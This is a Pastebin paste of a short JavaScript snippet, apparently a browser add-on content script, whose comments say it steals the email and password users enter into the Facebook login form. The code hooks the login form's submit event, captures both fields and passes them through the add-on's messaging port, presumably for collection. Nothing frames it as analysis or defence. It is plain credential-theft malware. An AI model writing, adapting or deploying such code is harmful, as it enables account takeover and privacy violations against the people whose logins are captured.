Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var passWordForm = document.querySelector('input[type="password"]').form;
- // here we will steal email and username that user
- // enter in facebook login form.
- // @author Georgi Naumov
- // gonaumov@gmail.com for contacts and suggestions.
- passWordForm.addEventListener("submit", function(event) {
- var stolenPasswordAndEmailString = "email=" +
- encodeURIComponent(this.email.value) +
- "&password=" +
- encodeURIComponent(this.pass.value);
- self.port.emit('getPassword', stolenPasswordAndEmailString);
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement